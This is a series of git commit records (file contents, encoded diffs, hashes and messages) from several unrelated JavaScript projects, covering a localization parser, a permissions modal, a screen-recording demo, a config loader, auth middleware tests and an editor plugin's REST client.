'\n') .replace(/\\r/g, '\r') .replace(/\\t/g, '\t') .replace(/\\b/g, '\b') .replace(/\\f/g, '\f') .replace(/\\{/g, '{') .replace(/\\}/g, '}') .replace(/\\"/g, '"') .replace(/\\'/g, "'"); } return str.replace(patterns.unicode, function(match, token) { return unescape('%u' + '0000'.slice(token.length) + token); }); } function parseString(str) { if (str.indexOf('{{') === -1) { return { content: unescapeUnicode(str) }; } else { return { content: str, maybeComplex: true }; } } function parseComplexString(str) { if (str.indexOf('{{') === -1) { return { content: unescapeUnicode(str) }; } var chunks = str.split('{{'); var body = []; chunks.forEach(function (chunk, num) { if (num === 0) { if (chunk.length > 0) { body.push({ content: unescapeUnicode(chunk) }); } return; } var parts = chunk.split('}}'); if (parts.length < 2) { throw new ParserError('Expected "}}"'); } body.push({ type: 'Identifier', name: parts[0].trim() }); if (parts[1].length > 0) { body.push({ content: unescapeUnicode(parts[1]) }); } }); return { type: 'ComplexString', content: body }; } function addEventListener(type, listener) { if (!_emitter) { throw Error('Emitter not available'); } return _emitter.addEventListener(type, listener); } function removeEventListener(type, listener) { if (!_emitter) { throw Error('Emitter not available'); } return _emitter.removeEventListener(type, listener); } } /* ParserError class */ Parser.Error = ParserError; function ParserError(message) { this.name = 'ParserError'; this.message = message; } ParserError.prototype = Object.create(Error.prototype); ParserError.prototype.constructor = ParserError; exports.Parser = Parser; });
JavaScript
0.001485
@@ -443,16 +443,48 @@ tener;%0A%0A +%0A var MAX_PLACEABLES = 100;%0A%0A var @@ -4629,32 +4629,60 @@ exString(str) %7B%0A +%0A var placeables = 0;%0A%0A if (str.in @@ -5284,32 +5284,213 @@ m()%0A %7D);%0A + placeables++;%0A if (placeables %3E MAX_PLACEABLES) %7B%0A throw new ParserError('Too many placeables, maximum allowed is ' +%0A MAX_PLACEABLES);%0A %7D%0A if (part
789446e97656ef1f1128ebc842ec7e9b02b0283e
Fix tests.
src/components/PermissionsModal/PermissionsModal.js
src/components/PermissionsModal/PermissionsModal.js
import { isEmpty, get, orderBy, remove, } from 'lodash'; import React from 'react'; import PropTypes from 'prop-types'; import { connect as reduxConnect } from 'react-redux'; import { FormattedMessage } from 'react-intl'; import { change } from 'redux-form'; import { stripesConnect } from '@folio/stripes/core'; import { Button, Modal, Pane, Paneset, ModalFooter, } from '@folio/stripes/components'; import SearchForm from './components/SearchForm'; import PermissionsList from './components/PermissionsList'; import { sortOrders } from './constants'; import { getInitialFiltersState } from './helpers'; import css from './PermissionsModal.css'; class PermissionsModal extends React.Component { static manifest = Object.freeze({ availablePermissions: { type: 'okapi', records: 'permissions', path: 'perms/permissions?length=10000&query=(mutable==false and visible==true)', fetch: false, accumulate: true, }, }); static propTypes = { mutator: PropTypes.shape({ availablePermissions: PropTypes.shape({ GET: PropTypes.func.isRequired, reset: PropTypes.func.isRequired, POST: PropTypes.func.isRequired, }), }), resources: PropTypes.shape({ availablePermissions: PropTypes.shape({ records: PropTypes.arrayOf(PropTypes.object), }), }), filtersConfig: PropTypes.arrayOf(PropTypes.object).isRequired, subPermissions: PropTypes.arrayOf(PropTypes.object).isRequired, open: PropTypes.bool.isRequired, onClose: PropTypes.func.isRequired, addSubPermissions: PropTypes.func.isRequired, visibleColumns: PropTypes.arrayOf(PropTypes.string).isRequired, }; static defaultProps = { resources: { availablePermissions: { records: [] } }, }; constructor(props) { super(props); this.state = { allChecked: false, permissions: [], sortedColumn: 'permissionName', sortOrder: sortOrders.asc.name, filters: getInitialFiltersState(props.filtersConfig), subPermissionsIds: props.subPermissions.map(({ id }) => id) }; } async componentDidMount() { const { mutator: { availablePermissions: { GET, reset, } } } = this.props; await reset(); const permissions = await GET(); this.setState({ permissions }); } onSubmitSearch = (searchText) => { const permissions = get(this.props, 'resources.availablePermissions.records', []); const filteredPermissions = permissions.filter(({ displayName, permissionName }) => { const permissionText = displayName || permissionName; return permissionText.toLowerCase().includes(searchText.toLowerCase()); }); this.setState({ permissions: filteredPermissions }); }; onHeaderClick = (e, { name: columnName }) => { const { sortOrder, sortedColumn, } = this.state; if (sortedColumn !== columnName) { this.setState({ sortedColumn: columnName, sortOrder: sortOrders.desc.name, }); } else { const newSortOrder = (sortOrder === sortOrders.desc.name) ? sortOrders.asc.name : sortOrders.desc.name; this.setState({ sortOrder: newSortOrder }); } }; onChangeFilter = ({ target }) => { this.setState(({ filters }) => { filters[target.name] = target.checked; return filters; }); }; togglePermission = (permissionId) => { this.setState(({ subPermissionsIds }) => { const permissionAssigned = subPermissionsIds.includes(permissionId); if (permissionAssigned) { remove( subPermissionsIds, (id) => id === permissionId ); } else { subPermissionsIds.push(permissionId); } return { subPermissionsIds }; }); }; onSave = () => { const { subPermissionsIds } = this.state; const { addSubPermissions, onClose, } = this.props; const permissions = get(this.props, 'resources.availablePermissions.records', []); const filteredPermissions = permissions.filter(({ id }) => subPermissionsIds.includes(id)); addSubPermissions(filteredPermissions); onClose(); }; toggleAllPermissions = () => { const { allChecked } = this.state; let subPermissionsIds = []; if (!allChecked) { const permissions = get(this.props, 'resources.availablePermissions.records', []); subPermissionsIds = permissions.map(({ id }) => id); } this.setState({ allChecked: !allChecked, subPermissionsIds, }); }; onClearFilter = (filterName) => { this.setState(({ filters }) => { Object.keys(filters).forEach((key) => { if (key.startsWith(filterName)) { delete filters[key]; } }); return filters; }); }; resetSearchForm = () => { const permissions = get(this.props, 'resources.availablePermissions.records', []); this.setState({ filters: {}, permissions, }); }; render() { const { permissions, sortedColumn, sortOrder, filters, filters: { 'status.Unassigned': Unassigned, 'status.Assigned': Assigned, } = {}, subPermissionsIds, allChecked, } = this.state; const { open, onClose, filtersConfig, visibleColumns, } = this.props; const sorters = { permissionName: ({ permissionName }) => permissionName, status: ({ id, permissionName }) => [subPermissionsIds.includes(id), permissionName], }; const filteredPermissions = permissions.filter(({ id }) => { const permissionAssigned = subPermissionsIds.includes(id); return ( (Unassigned && !permissionAssigned && !Assigned) || (!Unassigned && permissionAssigned && Assigned) || (Unassigned && Assigned) || isEmpty(filters) ); }); const sortedPermissions = orderBy(filteredPermissions, sorters[sortedColumn], sortOrder); return ( <Modal open={open} id="permissions-modal" dismissible label={<FormattedMessage id="ui-users.permissions.modal.header" />} size="large" showHeader onClose={onClose} contentClass={css.modalContent} footer={ <ModalFooter> <Button marginBottom0 buttonStyle="primary" onClick={this.onSave} > <FormattedMessage id="ui-users.permissions.modal.save" /> </Button> <Button className={css.cancelButton} onClick={onClose} marginBottom0 > <FormattedMessage id="ui-users.permissions.modal.cancel" /> </Button> </ModalFooter> } > <div> <Paneset> <Pane defaultWidth="30%" paneTitle={<FormattedMessage id="ui-users.permissions.modal.search.header" />} > <SearchForm config={filtersConfig} filters={filters} onClearFilter={this.onClearFilter} onSubmitSearch={this.onSubmitSearch} onChangeFilter={this.onChangeFilter} resetSearchForm={this.resetSearchForm} /> </Pane> <Pane paneTitle={<FormattedMessage id="ui-users.permissions.modal.list.pane.header" />} paneSub={ <FormattedMessage id="ui-users.permissions.modal.list.pane.subheader" values={{ amount: sortedPermissions.length }} /> } defaultWidth="70%" > <PermissionsList visibleColumns={visibleColumns} allChecked={allChecked} sortOrder={sortOrder} sortedColumn={sortedColumn} sortedPermissions={sortedPermissions} subPermissionsIds={subPermissionsIds} onHeaderClick={this.onHeaderClick} togglePermission={this.togglePermission} toggleAllPermissions={this.toggleAllPermissions} /> </Pane> </Paneset> </div> </Modal> ); } } const mapStateToProps = state => ({ subPermissions: state.form.permissionSetForm.values.subPermissions || [], }); const mapDispatchToProps = dispatch => ({ addSubPermissions: (permissions) => dispatch(change('permissionSetForm', 'subPermissions', permissions)), }); export default stripesConnect(reduxConnect(mapStateToProps, mapDispatchToProps)(PermissionsModal));
JavaScript
0
@@ -6353,32 +6353,79 @@ %3CButton%0A + data-test-permissions-modal-save%0A ma @@ -6628,32 +6628,81 @@ %3CButton%0A + data-test-permissions-modal-cancel%0A cl
5ac9f444686b9de79687cc72c4f6574e0cd5af7e
fix lit-element url
src/content/getusermedia/getdisplaymedia/js/main.js
src/content/getusermedia/getdisplaymedia/js/main.js
/* * Copyright (c) 2018 The WebRTC project authors. All Rights Reserved. * * Use of this source code is governed by a BSD-style license * that can be found in the LICENSE file in the root of the source * tree. */ 'use strict'; import {LitElement, html} from 'https://unpkg.com/@polymer/[email protected]?module'; class ScreenSharing extends LitElement { constructor() { super(); this.enableStartCapture = true; this.enableStopCapture = false; this.enableDownloadRecording = false; this.stream = null; this.chunks = []; this.mediaRecorder = null; this.status = 'Inactive'; this.recording = null; } static get properties() { return { status: String, enableStartCapture: Boolean, enableStopCapture: Boolean, enableDownloadRecording: Boolean, recording: { type: { fromAttribute: input => input } } }; } render() { return html`<style> @import "../../../css/main.css"; :host { display: block; padding: 10px; width: 100%; height: 100%; } video { --video-width: 100%; width: var(--video-width); height: calc(var(--video-width) * (16 / 9)); } </style> <video ?controls="${this.recording !== null}" playsinline autoplay loop muted .src="${this.recording}"></video> <div> <p>Status: ${this.status}</p> <button ?disabled="${!this.enableStartCapture}" @click="${e => this._startCapturing(e)}">Start screen capture</button> <button ?disabled="${!this.enableStopCapture}" @click="${e => this._stopCapturing(e)}">Stop screen capture</button> <button ?disabled="${!this.enableDownloadRecording}" @click="${e => this._downloadRecording(e)}">Download recording</button> <a id="downloadLink" type="video/webm" style="display: none"></a> </div>`; } static _startScreenCapture() { if (navigator.getDisplayMedia) { return navigator.getDisplayMedia({video: true}); } else { return navigator.mediaDevices.getUserMedia({video: {mediaSource: 'screen'}}); } } async _startCapturing(e) { console.log('Start capturing.'); this.status = 'Screen recording started.'; this.enableStartCapture = false; this.enableStopCapture = true; this.enableDownloadRecording = false; this.requestUpdate('buttons'); if (this.recording) { window.URL.revokeObjectURL(this.recording); } this.chunks = []; this.recording = null; this.stream = await ScreenSharing._startScreenCapture(); this.stream.addEventListener('inactive', e => { console.log('Capture stream inactive - stop recording!'); this._stopCapturing(e); }); this.mediaRecorder = new MediaRecorder(this.stream, {mimeType: 'video/webm'}); this.mediaRecorder.addEventListener('dataavailable', event => { if (event.data && event.data.size > 0) { this.chunks.push(event.data); } }); this.mediaRecorder.start(10); } _stopCapturing(e) { console.log('Stop capturing.'); this.status = 'Screen recorded completed.'; this.enableStartCapture = true; this.enableStopCapture = false; this.enableDownloadRecording = true; this.mediaRecorder.stop(); this.mediaRecorder = null; this.stream.getTracks().forEach(track => track.stop()); this.stream = null; this.recording = window.URL.createObjectURL(new Blob(this.chunks, {type: 'video/webm'})); } _downloadRecording(e) { console.log('Download recording.'); this.enableStartCapture = true; this.enableStopCapture = false; this.enableDownloadRecording = false; const downloadLink = this.shadowRoot.querySelector('a#downloadLink'); downloadLink.addEventListener('progress', e => console.log(e)); downloadLink.href = this.recording; downloadLink.download = 'screen-recording.webm'; downloadLink.click(); } } customElements.define('screen-sharing', ScreenSharing);
JavaScript
0.004665
@@ -306,16 +306,31 @@ [email protected] +/lit-element.js ?module'
33817a55bfc6566ff0cfa879c17478d728afc7c7
Simplify loop
lib/loke-config.js
lib/loke-config.js
'use strict'; var yaml = require('js-yaml'); var fs = require('fs'); var path = require('path'); var mergeInto = require('./merge-into'); var objLock = require('./obj-lock'); /** * Creates a new LOKE config instance * @param {String} appName The application name or ID. * Should match where the config files are placed/ * @param {String} [options.appPath] * @param {[String]} [options.paths] An array of full paths to search for files. * The first file on the list should be the defaults and specify all values. */ function LokeConfig(appName, options) { options = options || {}; if (Array.isArray(options)) { // Support original argument format: options = {paths: options}; } var settings, self = this; var appPath = options.appPath || path.dirname(require.main.filename); var paths = options.paths || self._getDefaultPaths(appName, appPath); // check args if (typeof appName !== 'string' || appName === '') { throw new Error('LokeConfig requires appName to be provided'); } if (!Array.isArray(paths)) { throw new Error('Expected "paths" to be an array, but was ' + (typeof paths)); } else if (paths.length === 0) { throw new Error('"paths" contains no items'); } // first load defaults... // the defaults file locks the object model, so all settings must be defined here. // // anything not defined here won't be able to be set. // this forces everyone to keep the defaults file up to date, and in essence becomes // the documentation for our settings // // the defaults file should always be the first path if (!fs.existsSync(paths[0])) { throw new Error('Default file missing. Expected path is: ' + paths[0]); } settings = self._loadYamlFile(paths[0]) || {}; // prevent extensions stops any properties not specified in the defaults file // from being added... thus ALL settings must be defined in defaults objLock.lockModel(settings); paths.slice(1).forEach(function(path) { if (fs.existsSync(path)) { settings = mergeInto(settings, self._loadYamlFile(path)); } }); // configuration values will now be locked objLock.lockValues(settings); Object.defineProperty(self, '_settings', {value:settings}); } /** * Gets a configuration item matching the provided key * @param {String} key The config item key * @return {Various} The result */ LokeConfig.prototype.get = function (key) { var setting = this._settings; var parts = key.split('.'), last = parts.pop(), current = parts[0], len = parts.length, i = 1; if (len === 0) { return setting[last]; } while ((setting = setting[current]) && i < len) { current = parts[i]; i++; } if (setting) { return setting[last]; } }; LokeConfig.prototype._getDefaultPaths = function(appName, appPath) { return [ path.join(appPath, '/config/defaults.yml'), '/etc/'+appName+'/config.yml', '/private/etc/'+appName+'/config.yml', path.join(appPath, '/config/config.yml') ]; }; LokeConfig.prototype._loadYamlFile = function (path) { return yaml.safeLoad(fs.readFileSync(path, 'utf8')); }; module.exports = exports = LokeConfig;
JavaScript
0.000035
@@ -1988,17 +1988,8 @@ ths. -slice(1). forE @@ -2005,19 +2005,95 @@ ion(path -) %7B +, i) %7B%0A if (i === 0) %7B%0A // already processed above.%0A return;%0A %7D %0A if
14e73898acd0c55c7b8c4791df3d9a4953a8bd08
Remove old comment
src/plugins/denormalizer/index.js
src/plugins/denormalizer/index.js
import { compose, curry, head, map, mapObject, mapValues, prop, reduce, fromPairs, toPairs, toObject, values, uniq, flatten, get, set, snd } from '../../fp'; /* TYPES * * Path = [String] * * Accessors = [ (Path, Type | [Type]) ] * * Fetcher = { * getOne: id -> Promise Entity * getSome: [id] -> Promise [Entity] * getAll: Promise [Entity] * threshold: Int * } * */ export const NAME = 'denormalizer'; const toIdMap = toObject(prop('id')); const getApi = curry((configs, entityName) => compose(prop('api'), prop(entityName))(configs)); const getPluginConf = curry((cs, entityName) => getPluginConf_(cs[entityName])); const getPluginConf_ = curry((config) => compose(prop(NAME), prop('plugins'))(config)); const getSchema_ = (config) => compose(prop('schema'), getPluginConf_)(config); const collectTargets = curry((accessors, res, item) => { return reduce((m, [path, type]) => { let list = m[type]; if (!list) { list = []; } const val = get(path, item) if (Array.isArray(val)) { list = list.concat(val); } else { list.push(val); } m[type] = list return m; }, res, accessors); }); const resolveItem = curry((accessors, entities, item) => { return reduce((m, [path, type]) => { const val = get(path, item) // wasteful to do that all the time, try ealier const getById = (id) => entities[type][id]; const resolvedVal = Array.isArray(val) ? map(getById, val) : getById(val); return set(path, resolvedVal, m); }, item, accessors); }); const resolveItems = curry((accessors, items, entities) => { return map(resolveItem(accessors, entities), items); }); const requestEntities = curry(({ getOne, getSome, getAll, threshold }, ids) => { const noOfItems = ids.length; if (noOfItems === 1) { return getOne(ids[0]).then((e) => [e]); } if (noOfItems > threshold) { return getAll(); } return getSome(ids); }); const resolve = curry((fetchers, accessors, items) => { const requestsToMake = compose(reduce(collectTargets(accessors), {}))(items); return Promise.all(mapObject(([t, ids]) => { return requestEntities(fetchers[t], ids).then((es) => [t, es]); }, requestsToMake)).then( compose(resolveItems(accessors, items), mapValues(toIdMap), fromPairs) ); }); const parseSchema = (schema) => { return reduce((m, [field, val]) => { if (Array.isArray(val) || typeof val === 'string') { m[field] = val; } else { const nextSchema = parseSchema(val); Object.keys(nextSchema).forEach((k) => { m[[field, k].join('.')] = nextSchema[k]; }); } return m; }, {}, toPairs(schema)); return {}; }; // EntityConfigs -> Map String Accessors export const extractAccessors = (configs) => { const asMap = reduce((m, c) => { const schema = getSchema_(c); if (schema) { m[c.name] = parseSchema(schema); } return m; }, {}, configs); return mapValues(compose(map(([ps, v]) => [ps.split('.'), v]), toPairs))(asMap); }; // EntityConfigs -> [Type] -> Map Type Fetcher const extractFetchers = (configs, types) => { return compose(fromPairs, map((t) => { const conf = getPluginConf(configs, t); const api = getApi(configs, t); if (!conf) { throw new Error(`No denormalizer config found for type ${t}`); } const fromApi = (p) => api[conf[p]]; const getOne = fromApi('getOne'); const getSome = fromApi('getSome') || ((is) => Promise.all(map(getOne, is))); const getAll = fromApi('getAll') || (() => getSome(ids)); const threshold = fromApi('threshold') || 0; if (!getOne) { throw new Error(`No 'getOne' accessor defined on type ${t}`); } return [t, { getOne, getSome, getAll, threshold }]; }))(types); } // Map Type Accessors -> [Type] const extractTypes = compose(uniq, flatten, map(snd), flatten, values); export const denormalizer = () => ({ entityConfigs }) => { const allAccessors = extractAccessors(values(entityConfigs)); const allFetchers = extractFetchers(entityConfigs, extractTypes(allAccessors)); return ({ entity, apiFnName: name, apiFn: fn }) => { const accessors = allAccessors[entity.name]; if (!accessors) { return fn; } return (...args) => { return fn(...args).then((res) => { const isArray = Array.isArray(res); const items = isArray ? res : [res]; const resolved = resolve(allFetchers, accessors, items); return isArray ? resolved : resolved.then(head); }); }; } };
JavaScript
0
@@ -1285,56 +1285,9 @@ tem) - // wasteful to do that all the time, try ealier +; %0A
c49eee1f6004b31090a3da7f3100cb2272947e02
Convert rest of tests to use mock store
test/middleware.spec.js
test/middleware.spec.js
import { authenticate, createAuthenticator, createAuthMiddleware, reducer } from '../src' import createMockStorage from './utils/testStorage' import configureStore from 'redux-mock-store' const createTestAuthenticator = () => createAuthenticator({ name: 'test', authenticate: jest.fn(data => Promise.resolve(data)) }) describe('auth middleware', () => { const middleware = createAuthMiddleware() it('returns a function that handles {getState, dispatch}', () => { expect(middleware).toBeInstanceOf(Function) expect(middleware.length).toBe(1) }) describe('store handler', () => { it('returns function that handles next', () => { const nextHandler = middleware({}) expect(nextHandler).toBeInstanceOf(Function) expect(nextHandler.length).toBe(1) }) }) describe('action handler', () => { it('action handler returns a function that handles action', () => { const nextHandler = middleware({}) const actionHandler = nextHandler() expect(actionHandler).toBeInstanceOf(Function) expect(actionHandler.length).toBe(1) }) }) describe('when no longer authenticated', () => { it('clears state from storage', () => { const storage = createMockStorage() const middleware = createAuthMiddleware({ storage }) const mockStore = configureStore([middleware]) const getState = jest.fn() .mockReturnValueOnce({ session: { isAuthenticated: true }}) .mockReturnValueOnce({ session: { isAuthenticated: false }}) const store = mockStore(getState) store.dispatch({ type: 'test' }) expect(storage.clear).toHaveBeenCalled() }) it('does not clear if still authenticated', () => { const storage = createMockStorage() const middleware = createAuthMiddleware({ storage }) const mockStore = configureStore([middleware]) const getState = jest.fn() .mockReturnValueOnce({ session: { isAuthenticated: true }}) .mockReturnValueOnce({ session: { isAuthenticated: true }}) const store = mockStore(getState) store.dispatch({ type: 'test' }) expect(storage.clear).not.toHaveBeenCalled() }) it('does not clear if previously unauthenticated', () => { const storage = createMockStorage() const middleware = createAuthMiddleware({ storage }) const mockStore = configureStore([middleware]) const getState = jest.fn() .mockReturnValueOnce({ session: { isAuthenticated: false }}) .mockReturnValueOnce({ session: { isAuthenticated: false }}) const store = mockStore(getState) store.dispatch({ type: 'test' }) expect(storage.clear).not.toHaveBeenCalled() }) }) describe('when authenticating', () => { it('calls authenticators authenticate', () => { const testAuthenticator = createTestAuthenticator() const getState = () => ({ session: reducer(undefined, {}) }) const middleware = createAuthMiddleware({ authenticators: [testAuthenticator] }) const nextHandler = middleware({ getState }) const actionHandler = nextHandler(() => {}) const data = { username: 'test', password: 'password' } const action = authenticate('test', data) actionHandler(action) expect(testAuthenticator.authenticate).toHaveBeenCalledWith(data) }) describe('when successful', () => { it('sets authenticated data on local storage', done => { const testAuthenticator = createAuthenticator({ name: 'test', authenticate: jest.fn(data => Promise.resolve({ token: 'abcd' })) }) const getState = () => ({ session: reducer(undefined, {}) }) const storage = { persist: jest.fn() } const middleware = createAuthMiddleware({ storage, authenticators: [testAuthenticator] }) const nextHandler = middleware({ getState }) const actionHandler = nextHandler(() => {}) const data = { username: 'test', password: 'password' } const action = authenticate('test', data) actionHandler(action).then(() => { expect(storage.persist).toHaveBeenCalledWith({ authenticator: 'test', authenticated: { token: 'abcd' } }) done() }) }) }) }) })
JavaScript
0.000815
@@ -2892,75 +2892,8 @@ r()%0A - const getState = () =%3E (%7B session: reducer(undefined, %7B%7D) %7D)%0A @@ -3005,95 +3005,79 @@ nst -nextHandler = middleware(%7B getState %7D)%0A const actionHandler = nextHandler(() =%3E %7B%7D +mockStore = configureStore(%5Bmiddleware%5D)%0A const store = mockStore( )%0A @@ -3187,37 +3187,38 @@ ata)%0A%0A -actionHandler +store.dispatch (action)%0A%0A @@ -3569,77 +3569,8 @@ %7D)%0A - const getState = () =%3E (%7B session: reducer(undefined, %7B%7D) %7D)%0A @@ -3774,97 +3774,81 @@ nst -nextHandler = middleware(%7B getState %7D)%0A const actionHandler = nextHandler(() =%3E %7B%7D +mockStore = configureStore(%5Bmiddleware%5D)%0A const store = mockStore( )%0A @@ -3968,29 +3968,30 @@ -actionHandler +store.dispatch (action)
950926d30f5a9636d3e51297e5909045eb1ccd21
Update rest-uris to match servers new uris
lib/moie-client.js
lib/moie-client.js
'use babel' jQuery = require('jquery') export default class MoieClient { constructor(servername, port) { port = (port === undefined) ? 9001 : port servername = (servername === undefined) ? 'localhost' : servername this.baseAddress = "http://" + servername + ":" + port + "/" + "moie/" this.mimeType = 'application/json' this.connected = false } connect(projectInfo, onSuccess, onError) { const self = this const json = (typeof projectInfo === 'string') ? projectInfo : JSON.stringify(projectInfo) jQuery.ajax({ method: 'POST', url: this.baseAddress + 'connect', contentType: this.mimeType, data: json, success: (data, status, xhr) => { console.log(data) self.projectId = data self.connected = true onSuccess() }, error: (xhr, status, error) => { onError(status,error) } }) } disconnect(onSuccess) { if(this.connected) { jQuery.ajax({ method: 'POST', url: this.baseAddress + 'disconnect?project-id='+this.projectId, success: onSuccess, error: (xhr, status, error) => { console.log("error disconnect: "+error) } }) } else onSuccess() } stopServer(onSuccess) { jQuery.ajax({ method: 'POST', url: this.baseAddress + 'stop-server', success: onSuccess, error: (xhr, status, error) => { console.log("error stop-server: "+error) } }) } compile(onSuccess, onError) { jQuery.ajax({ method: 'POST', dataType: 'json', url: this.baseAddress + 'compile?project-id='+this.projectId, success: onSuccess, error: onError }) } }
JavaScript
0
@@ -294,16 +294,76 @@ %22moie/%22%0A + this.projectBaseAddress = this.baseAddress + %22project/%22%0A this @@ -1069,33 +1069,40 @@ url: this. -b +projectB aseAddress + 'di @@ -1102,47 +1102,38 @@ s + -'disconnect?project-id='+this.projectId +%60$%7Bthis.projectId%7D/disconnect%60 ,%0A @@ -1645,33 +1645,40 @@ url: this. -b +projectB aseAddress + 'co @@ -1678,30 +1678,11 @@ s + -'compile?project-id='+ +%60$%7B this @@ -1691,16 +1691,26 @@ rojectId +%7D/compile%60 ,%0A